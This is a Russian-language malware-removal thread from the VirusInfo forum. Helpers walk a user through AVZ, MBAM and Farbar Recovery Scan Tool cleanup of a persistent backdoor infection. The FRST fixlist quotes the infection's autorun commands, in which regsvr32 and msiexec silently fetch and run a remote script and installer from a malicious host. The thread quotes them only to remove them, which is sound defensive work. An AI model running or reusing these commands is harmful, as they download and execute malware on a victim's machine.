Помогите вылечить -выскакивает сообщение "обнаружена критическая ошибка. Система будет перезагружена через минуту"... через минуту рубится.
Причем это каждый раз происходит в разное время.
И это уже достало!
И при загрузке система долго загружается и томозит.
Уважаемый(ая) [B]MERKAVA1982[/B], спасибо за обращение на наш форум!
Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].
[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]
Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].
И еще после каждой перезагрузке виндовс включается бранмауэр виндовс хотя в службах я его выключил.
Выполните скрипт в AVZ
[code]begin
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start1');
DeleteFile('C:\Windows\system32\Tasks\Mysa','64');
ExecuteSysClean;
RebootWindows(false);
end.[/code]Будет выполнена перезагрузка компьютера.
[B][COLOR="Red"]Пожалуйста, выполните ЕЩЕ РАЗ правила, прикрепите к сообщению НОВЫЕ логи Autologger[/COLOR][/B]
вот свежение логи после перезагрузки
Сделайте лог [url="http://virusinfo.info/showthread.php?t=53070&p=1104657&viewfull=1#post1104657"]полного сканирования МВАМ[/url]
вот лог
Удалите в МВАМ все, [B]кроме[/B]
[CODE]RiskWare.HidCon.Drop, C:\PROGRAM FILES (X86)\ULTRAISO\AKELPAD489.EXE, Проигнорировано пользователем, [1919], [353147],1.0.1884
[/CODE]
выполнил
Ошибки с перезагрузкой пока не наблюдаю но вот доктор вэб снова обнаружил при сканировании тот же самый вирус BackDoor.Spy.422 каторый почему то ни как нельзя удалить доктор вэб его удаляет а он снова обнаруживается.
Главное пишет в докторе вэб что удалено а включаю отображать скрытые папки так показывает что эти файлы остались и не удалились.
Выполните в AVZ скрипт:[CODE]begin
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start1');
ExecuteWizard('SCU', 2, 2, true);
RebootWindows(false);
end.[/CODE]Компьютер перезагрузится.
Скачайте [URL="http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/"]Farbar Recovery Scan Tool[/URL] и сохраните на Рабочем столе.
Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
Кроме уже установленных, отметьте галочками также "90 Days Files".
Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (можно все в одном архиве).
вот логи
Откройте Блокнот (Старт =>Программы => Стандартные => Блокнот). Скопируйте в него следующий код:[CODE]CreateRestorePoint:
HKLM\...\Run: [start] => regsvr32 /u /s /i:hxxp://js.mykings.top:280/v.sct scrobj.dll
HKLM\...\Run: [start1] => msiexec.exe /i hxxp://js.mykings.top:280/helloworld.msi /q
ShellIconOverlayIdentifiers: [00asw] -> {472083B0-C522-11CF-8763-00608CC02F24} => -> No File
GroupPolicy: Restriction <======= ATTENTION
GroupPolicy\User: Restriction <======= ATTENTION
GroupPolicyScripts: Restriction <======= ATTENTION
Handler: WSKVAllmytubechrome - No CLSID Value
S3 MBAMSwissArmy; \??\C:\Windows\system32\drivers\MBAMSwissArmy.sys [X]
S3 MBAMWebProtection; \??\C:\Windows\system32\drivers\mwac.sys [X]
S3 SBIOSIO; \??\C:\TEMP\__Samsung_Update\SBIOSIO64.sys [X]
S1 ZAM_Guard; \??\C:\Windows\System32\drivers\zamguard64.sys [X]
2016-02-29 16:33 - 2016-02-28 04:33 - 0000040 ____H () C:\Program Files (x86)\f20337af.tmp
CustomCLSID: HKU\S-1-5-21-67622830-4182563423-2584365063-1000_Classes\CLSID\{E36606FE-036A-4dd0-ABA9-A58F409803F0}\InprocServer32 -> no filepath
Task: {26E58DC3-32CE-4DB3-8885-AC847CDC4C91} - \Mysa -> No File <==== ATTENTION
WMI_ActiveScriptEventConsumer_fuckyoumm2_consumer:
AlternateDataStreams: C:\ProgramData\TEMP:41ADDB8A [131]
AlternateDataStreams: C:\ProgramData\TEMP:A064CECC [144]
Reboot:[/CODE]
и сохраните как fixlist.txt в папку с Farbar Recovery Scan Tool.
[COLOR="#FF0000"]Отключите до перезагрузки антивирус[/COLOR], запустите FRST, нажмите [B]Fix[/B] и подождите. Программа создаст лог-файл ([B]Fixlog.txt[/B]). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.
Сообщите, что с проблемой.
вот лог
просканировал доктором вроде пока не обнаруживает но надо еще понаблюдать.